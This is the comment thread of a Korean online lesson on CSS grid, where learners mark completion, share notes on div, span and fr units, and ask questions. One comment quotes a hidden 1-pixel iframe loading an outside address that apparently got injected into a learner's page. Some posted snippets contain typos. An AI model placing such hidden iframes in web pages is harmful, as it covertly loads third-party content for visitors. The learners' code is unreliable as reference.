그리드의 기본 사용법
강의
소스코드
그리드 써먹기
강의
댓글
-
안녕하세요. WEB1부터 차근차근 따라오고 있는 초심자입니다.
우분투, Atom 을 각각 사용해서 공부하고 있습니다.
수업 예제를 작성 후, 웹브라우저에서 inspect를 해보면 항상 제가 입력하지 않은,
<div>
<iframe style="height:1px,width:1px;position:absolute;top:0;left:0;border:none;visibility:hidden" src="//div.show/options" id="buttonMenu"></iframe>
</div>
코드가 출력되며,
border 속성을 통해 확인해보면 작성한 div element 들의 아래에 아무 내용이 없는 block level element가 하나 더 출력되어 있습니다.
원인이 무엇인지 어떻게 해결할 수 있을지 궁금합니다. -
완료 감솨요
-
완료 -
span과 div 아무의미도 없는 디자인을 위한tag다
기본적으로 div 는block element 다
span 은 inline element다.
grid를 사용함으로써 왼쪽오른쪽을 구분해 줄 수 있고 아무리 많은 내용이 들어가도 딱맞게 화면이 구분된다.
3월 18일 완료 -
20.03.16 월 / 37세 비전공자 / 완료 -
20.03.16 월 / 37세 비전공자 / 완료
-
20.03.16 월 / 37세 비전공자 / 완료
-
20200315 완료 -
완료!1
-
완료! 감사합니다!
-
body{
margin:0;
}
a {
color:black;
text-decoration: none;
}
h1{
font-size:60px;
text-align: center;
border-bottom:1px solid gray;
margin:0;
padding:20px;
}
ol{
border-right:1px solid gray;
width:100px;
margin:0;
padding:20px;
}
</style>
</head>
<body>
<h1><a href="index.html">3월 9일.</a></h1>
<div id="grid"
<ol>
<li><a href="1.html">나의 상처</a></li>
<li><a href="2.html">남긴 상처</a></li>
<li><a href="3.html">돌아가고 싶다.</a></li>
</ol> -
그리드는 인터넷 익스플로러에서 작동하지 않습니다. 참고하세요.
-
해결하셨나요? ㅠㅠ 제가 딱 그 상황입니다..
너무 답답해요,,,, -
해결하셨나요? ㅠㅠ 제가 딱 그 상황입니다..
너무 답답해요,,,, -
저도요 ㅋㅋㅋㅋ html 배우면서 너무 재밌어서 아 내가 본투비문과생인줄 알았더니 이러다 개발자 되는거 아닌가 했었는데 ㅋㅋㅋㅋㅋㅋ css로 넘어오면서 지금 약간 멘붕이에요 ㅠㅠ 그치만 같이 파이팅입니당 ^^
-
solid에 오타가났네요
-
전 노트북에서 작업했는데 똑같은 오류나네요 ㅜㅜ 해결방법 찾으셨나요?
-
완료
-
2일 만에 완료!
-
#grid ol {}: 모든 <ol>중에 부모가 #grid인 <ol>
<div>, <span>: 아무런 의미 없이 단지 디자인의 용도로만 쓰이는 태그
fr: 화면 전체를 쓰도록 자동으로 조정되는 단위 -
완료 -
완료
-
완료
-
완료
-
완료! 감사합니다 ㅎㅎ
-
완료
-
감사합니다.
-
감사합니다. 완료
-
감사합니다.!!
-
완료
-
완료
-
id="article" 인 div 태그 안에 있는 본문에 ol 태그를 추가했을 떄 그 ol 태그도 css 의 #grid ol 에 영향을 받나요?
-
통계가 이렇게 유용하게 쓰일 수 있다니..!
-
아래 매매님 처럼 전 동영상에서는 이렇게 잡았는데
<div id=grid>
<div>그리드1</div>
<div>그리드2</div>
</div>
마지막 동영상에서는
<div id=grid>그리드1</div>
<div>그리드2</div>
이렇게 구현했네요..^^ -
완
-
완료
-
완료
-
<head>
#grid{
display:grid;
grid-template-colums:150px 1fr;
}
<body>
<div id=grid>
<div>그리드1</div>
<div>그리드2</div>
</div>
그리드를 사용할 부분에 여러 태그가 있을 경우 div나 다른 부모 태그로 묶어주기
#grid ol {}: 모든 <ol>중에 부모가 #grid인 <ol>
<div>, <span>: 아무런 의미 없이 단지 디자인의 용도로만 쓰이는 태그(block, inline의 차이)
fr: 화면 전체를 쓰도록 자동으로 조정되는 단위 -
굿@!
-
완료!
-
다음!
-
완료!
-
좋은 강의 감사합니다!
-
완료
-
완료!!
-
ㅎㅎ -
그리드를 사용할때 id 말고 class로도 사용가능한 것 같은데 왜 id로 쓰셨는지 궁굼해요!!
-
완료!
-
2019.12.29
-
ol 선택자와 #grid ol 선택자를 나눠서 작성한 것이 의미있는 부분인가요? 제 생각에는 ol선택자 아래에 padding-left속성을 주고 #grid ol로 전체로 묶는게 나은 것 같아서요.
버전 관리
| egoing |
| 현재 버전 | |
|---|---|
| 선택 버전 |
